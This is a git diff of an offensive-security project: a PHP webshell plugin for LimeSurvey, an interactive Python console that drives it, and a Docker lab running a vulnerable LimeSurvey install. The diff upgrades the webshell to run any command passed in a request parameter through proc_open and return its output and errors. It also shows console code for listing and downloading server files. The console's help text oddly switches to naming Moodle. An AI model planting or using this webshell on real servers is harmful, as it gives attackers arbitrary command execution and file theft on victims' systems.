diff --git a/.github/demo.mp4 b/.github/demo.mp4 index 892d283..661bb6a 100644 Binary files a/.github/demo.mp4 and b/.github/demo.mp4 differ diff --git a/.github/download_file_web.png b/.github/download_file_web.png index eb56531..9f56c25 100644 Binary files a/.github/download_file_web.png and b/.github/download_file_web.png differ diff --git a/.github/exec_code_web.png b/.github/exec_code_web.png index 22d980a..d0359a0 100644 Binary files a/.github/exec_code_web.png and b/.github/exec_code_web.png differ diff --git a/Makefile b/Makefile index 52126fc..ba78a8f 100644 --- a/Makefile +++ b/Makefile @@ -1,6 +1,6 @@ .PHONY: all build -VERSION := 1.1.0 +VERSION := 1.2.0 all: build diff --git a/console.py b/console.py index 03126cf..3d4feed 100755 --- a/console.py +++ b/console.py @@ -2,7 +2,7 @@ # -*- coding: utf-8 -*- # File name : console.py # Author : Podalirius (@podalirius_) -# Date created : 16 Apr 2022 +# Date created : 22 May 2022 import argparse @@ -38,8 +38,8 @@ def complete(self, text, state): def parseArgs(): - parser = argparse.ArgumentParser(description="Interactive console for LimeSurvey webshell plugin") - parser.add_argument("-t", "--target", default=None, required=True, help='LimeSurvey target instance') + parser = argparse.ArgumentParser(description="Interactive console for Moodle webshell plugin") + parser.add_argument("-t", "--target", default=None, required=True, help='Moodle target instance') parser.add_argument("-k", "--insecure", dest="insecure_tls", action="store_true", default=False, help="Allow insecure server connections when using SSL (default: False)") parser.add_argument("-v", "--verbose", default=False, action="store_true", help='Verbose mode. (default: False)') return parser.parse_args() @@ -60,6 +60,10 @@ def remote_exec(target, cmd, verbose=False): print(json.dumps(data, indent=4)) if len(data["stdout"].strip()) != 0: print(data["stdout"].strip()) + + if len(data["stderr"].strip()) != 0: + for line in data["stderr"].strip().split('\n'): + print("\x1b[91m%s\x1b[0m" % line) except Exception as e: print(e) @@ -71,7 +75,7 @@ def b_filesize(content): for k in range(len(units)): if l < (1024 ** (k + 1)): break - return "%4.2f %s" % (round(l / (1024 ** (k)), 2), units[k]) + return "%4.2f %s" % (round(l / (1024 ** k), 2), units[k]) # r = requests.post( "%s/upload/plugins/WebShell/webshell.php" % target, @@ -82,6 +86,7 @@ def b_filesize(content): ) if r.status_code == 200: + print('\x1b[92m[+] (%9s) %s\x1b[0m' % (b_filesize(r.content), remote_path)) dir = local_path + os.path.dirname(remote_path) if not os.path.exists(dir): os.makedirs(dir, exist_ok=True) diff --git a/plugin/config.xml b/plugin/config.xml index fa261f7..49be3fe 100644 --- a/plugin/config.xml +++ b/plugin/config.xml @@ -7,7 +7,7 @@ 2022-04-15 Podalirius https://podalirius.net/ - 1.1.0 + 1.2.0 GNU General Public License version 2 or later diff --git a/plugin/webshell.php b/plugin/webshell.php index 58293d4..33260d9 100644 --- a/plugin/webshell.php +++ b/plugin/webshell.php @@ -1,11 +1,13 @@ "Path " . $path_to_file . " does not exist or is not readable.", + "path" => $path_to_file + ) + ); } + } elseif ($action == "exec") { $command = $_REQUEST["cmd"]; - $stdout = shell_exec($command); + + // Spawn shell process + $descriptorspec = array( + 0 => array("pipe", "w"), // stdout is a pipe that the child will write to + 1 => array("pipe", "w"), // stdout is a pipe that the child will write to + 2 => array("pipe", "w") // stderr is a pipe that the child will write to + ); + + chdir("/"); + $process = proc_open($command, $descriptorspec, $pipes); + + if (!is_resource($process)) { + // Can't spawn process + exit(1); + } + + // Set everything to non-blocking + // Reason: Occasionally reads will block, even though stream_select tells us they won't + // stream_set_blocking($pipes[1], 0); + // stream_set_blocking($pipes[2], 0); + + // If we can read from the process's STDOUT send data down tcp connection + $stdout = ""; $buffer = ""; + do { + $buffer = fread($pipes[1], $chunk_size); + $stdout = $stdout . $buffer; + } while ((!feof($pipes[1])) && (strlen($buffer) != 0)); + + // If we can read from the process's STDOUT send data down tcp connection + $stderr = ""; $buffer = ""; + do { + $buffer = fread($pipes[2], $chunk_size); + $stderr = $stderr . $buffer; + } while ((!feof($pipes[2])) && (strlen($buffer) != 0)); + + fclose($pipes[1]); + fclose($pipes[2]); + proc_close($process); + header('Content-Type: application/json'); - echo json_encode(array('stdout' => $stdout, 'exec' => $command)); + echo json_encode( + array( + 'stdout' => $stdout, + 'stderr' => $stderr, + 'exec' => $command + ) + ); } ?> diff --git a/test_env/Dockerfile b/test_env/Dockerfile new file mode 100644 index 0000000..d8e0206 --- /dev/null +++ b/test_env/Dockerfile @@ -0,0 +1,21 @@ +FROM debian:buster + +RUN apt-get -y -q update; \ + apt-get -y -q install apache2 xxd git unzip wget php php-simplexml php-gd php-ldap php-zip php-imap php-mysql php-mbstring mariadb-client mariadb-server + +RUN service mysql start;\ + mysql -u root -e "CREATE USER 'db'@'%' IDENTIFIED BY 'db'; UPDATE mysql.user set plugin = 'mysql_native_password' WHERE User = 'db'; GRANT ALL PRIVILEGES ON *.* TO 'db'@'%' WITH GRANT OPTION; FLUSH PRIVILEGES;" + +RUN wget https://github.com/LimeSurvey/LimeSurvey/archive/refs/tags/5.2.4+211129.zip -O /tmp/LimeSurvey.zip ;\ + cd /var/www/html/; rm index.html; unzip /tmp/LimeSurvey.zip; mv LimeSurvey-5.2.4-211129/* . + +RUN chown www-data: -R /var/www/ + +RUN echo "#!/bin/bash" > /entrypoint.sh ;\ + echo "service mysql start" >> /entrypoint.sh ;\ + echo "apachectl -D FOREGROUND" >> /entrypoint.sh ;\ + chmod +x /entrypoint.sh + +EXPOSE 80 + +CMD /entrypoint.sh diff --git a/test_env/Makefile b/test_env/Makefile new file mode 100644 index 0000000..b96cc3d --- /dev/null +++ b/test_env/Makefile @@ -0,0 +1,21 @@ +.PHONY: build img + +IMGNAME := awesome_rce_limesurvey_upload_plugin +PORT := 10080 + +all : build + +build: + docker build -t $(IMGNAME):latest -f Dockerfile . + +start: build + docker run --rm -it -p $(PORT):80 $(IMGNAME) + +background: + docker run --rm -d -p $(PORT):80 $(IMGNAME) + +shell: + docker exec -it $(shell docker ps | grep $(IMGNAME) | awk '{split($$0,a," "); print a[1]}') bash + +stop: + docker stop $(shell docker ps | grep $(IMGNAME) | awk '{split($$0,a," "); print a[1]}') \ No newline at end of file